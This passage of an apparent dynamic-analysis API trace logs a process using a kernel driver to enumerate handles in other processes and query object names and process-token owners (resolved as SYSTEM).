Object=0xfffffa8010307f20, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.312] ObfDereferenceObject (Object=0xfffffa8010307f20) returned 0x2 [0093.312] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.312] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.312] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.313] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.313] PsAcquireProcessExitSynchronization () returned 0x0 [0093.313] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.313] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800352e5a0, HandleInformation=0x0) returned 0x0 [0093.313] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.313] PsReleaseProcessExitSynchronization () returned 0x2 [0093.313] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.313] ObQueryNameString (in: Object=0xfffffa800352e5a0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.313] ObfDereferenceObject (Object=0xfffffa800352e5a0) returned 0x2 [0093.313] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.313] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.313] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.313] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.313] PsAcquireProcessExitSynchronization () returned 0x0 [0093.313] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.313] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80023916f0, HandleInformation=0x0) returned 0x0 [0093.313] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.313] PsReleaseProcessExitSynchronization () returned 0x2 [0093.313] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.313] ObQueryNameString (in: Object=0xfffffa80023916f0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.313] ObfDereferenceObject (Object=0xfffffa80023916f0) returned 0x2 [0093.313] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.313] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.313] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0093.313] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.313] PsAcquireProcessExitSynchronization () returned 0x0 [0093.313] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.314] ObReferenceObjectByHandle (in: Handle=0x768, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80035a2b80, HandleInformation=0x0) returned 0x0 [0093.314] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.314] PsReleaseProcessExitSynchronization () returned 0x2 [0093.314] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.314] ObQueryNameString (in: Object=0xfffffa80035a2b80, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.314] ObfDereferenceObject (Object=0xfffffa80035a2b80) returned 0x1 [0093.314] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.314] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.314] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0093.314] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.314] PsAcquireProcessExitSynchronization () returned 0x0 [0093.314] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.314] ObReferenceObjectByHandle (in: Handle=0x89c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80023c7580, HandleInformation=0x0) returned 0x0 [0093.314] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.314] PsReleaseProcessExitSynchronization () returned 0x2 [0093.314] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.314] ObQueryNameString (in: Object=0xfffffa80023c7580, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.314] ObfDereferenceObject (Object=0xfffffa80023c7580) returned 0x1 [0093.314] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.314] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.314] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0093.314] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.314] PsAcquireProcessExitSynchronization () returned 0x0 [0093.314] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.314] ObReferenceObjectByHandle (in: Handle=0x8e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80019bb3f0, HandleInformation=0x0) returned 0x0 [0093.314] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.314] PsReleaseProcessExitSynchronization () returned 0x2 [0093.314] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.315] ObQueryNameString (in: Object=0xfffffa80019bb3f0, ObjectNameInfo=0xfffffa8002108044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002108044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.315] ObfDereferenceObject (Object=0xfffffa80019bb3f0) returned 0x2 [0093.315] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.315] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.315] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0093.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.315] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8003058b30, HandleInformation=0x0) returned 0x0 [0093.315] ObOpenObjectByPointer (in: Object=0xfffffa8003058b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000810) returned 0x0 [0093.315] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x41 [0093.315] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000810, DesiredAccess=0x8, TokenHandle=0xfffffa80038b3240 | out: TokenHandle=0xfffffa80038b3240*=0xc8) returned 0x0 [0093.315] ZwClose (Handle=0xffffffff80000810) returned 0x0 [0093.315] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.315] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.315] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.316] CloseHandle (hObject=0xc8) returned 1 [0093.316] CloseHandle (hObject=0xc0) returned 1 [0093.317] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.317] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.317] PsAcquireProcessExitSynchronization () returned 0x0 [0093.317] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0) [0093.317] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030867a0, HandleInformation=0x0) returned 0x0 [0093.317] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.317] PsReleaseProcessExitSynchronization () returned 0x2 [0093.317] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0093.317] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002109044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002109044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.317] ObfDereferenceObject (Object=0xfffffa80030867a0) returned 0x1 [0093.317] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.317] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.317] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.317] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.317] PsAcquireProcessExitSynchronization () returned 0x0 [0093.317] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0) [0093.317] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003059550, HandleInformation=0x0) returned 0x0 [0093.317] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.317] PsReleaseProcessExitSynchronization () returned 0x2 [0093.317] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0093.317] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800210d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800210d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.317] ObfDereferenceObject (Object=0xfffffa8003059550) returned 0x1 [0093.317] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.317] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.317] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.317] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.317] PsAcquireProcessExitSynchronization () returned 0x0 [0093.317] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0) [0093.317] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003107a00, HandleInformation=0x0) returned 0x0 [0093.317] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.318] PsReleaseProcessExitSynchronization () returned 0x2 [0093.318] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0093.318] ObQueryNameString (in: Object=0xfffffa8003107a00, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.318] ObfDereferenceObject (Object=0xfffffa8003107a00) returned 0x1 [0093.318] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.318] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.318] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.318] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0093.318] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.318] PsAcquireProcessExitSynchronization () returned 0x0 [0093.318] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0) [0093.318] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003109240, HandleInformation=0x0) returned 0x0 [0093.318] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.318] PsReleaseProcessExitSynchronization () returned 0x2 [0093.318] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0093.318] ObQueryNameString (in: Object=0xfffffa8003109240, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.318] ObfDereferenceObject (Object=0xfffffa8003109240) returned 0x2 [0093.318] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.318] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.318] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.318] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0093.318] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.318] PsAcquireProcessExitSynchronization () returned 0x0 [0093.318] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0) [0093.318] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031081a0, HandleInformation=0x0) returned 0x0 [0093.318] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.318] PsReleaseProcessExitSynchronization () returned 0x2 [0093.318] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0093.318] ObQueryNameString (in: Object=0xfffffa80031081a0, ObjectNameInfo=0xfffffa800212d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800212d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.318] ObfDereferenceObject (Object=0xfffffa80031081a0) returned 0x1 [0093.318] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.319] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.319] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0093.319] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.319] PsAcquireProcessExitSynchronization () returned 0x0 [0093.319] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0) [0093.319] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800310bc90, HandleInformation=0x0) returned 0x0 [0093.319] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.319] PsReleaseProcessExitSynchronization () returned 0x2 [0093.319] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0093.319] ObQueryNameString (in: Object=0xfffffa800310bc90, ObjectNameInfo=0xfffffa8002136044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002136044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.319] ObfDereferenceObject (Object=0xfffffa800310bc90) returned 0x1 [0093.319] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.319] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.319] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0093.319] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.319] PsAcquireProcessExitSynchronization () returned 0x0 [0093.319] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880052335d0) [0093.319] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032199e0, HandleInformation=0x0) returned 0x0 [0093.319] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.319] PsReleaseProcessExitSynchronization () returned 0x2 [0093.319] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0093.319] ObQueryNameString (in: Object=0xfffffa80032199e0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.321] ObfDereferenceObject (Object=0xfffffa80032199e0) returned 0x11 [0093.321] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.321] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.321] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x250) returned 0xc0 [0093.321] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.321] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800305ab30, HandleInformation=0x0) returned 0x0 [0093.321] ObOpenObjectByPointer (in: Object=0xfffffa800305ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000810) returned 0x0 [0093.321] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0093.321] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000810, DesiredAccess=0x8, TokenHandle=0xfffffa80038b3240 | out: TokenHandle=0xfffffa80038b3240*=0xc8) returned 0x0 [0093.321] ZwClose (Handle=0xffffffff80000810) returned 0x0 [0093.321] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.321] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.321] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.322] CloseHandle (hObject=0xc8) returned 1 [0093.322] CloseHandle (hObject=0xc0) returned 1 [0093.322] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.323] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.323] PsAcquireProcessExitSynchronization () returned 0x0 [0093.323] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.323] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030bf6c0, HandleInformation=0x0) returned 0x0 [0093.323] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.323] PsReleaseProcessExitSynchronization () returned 0x2 [0093.323] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.323] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.323] ObfDereferenceObject 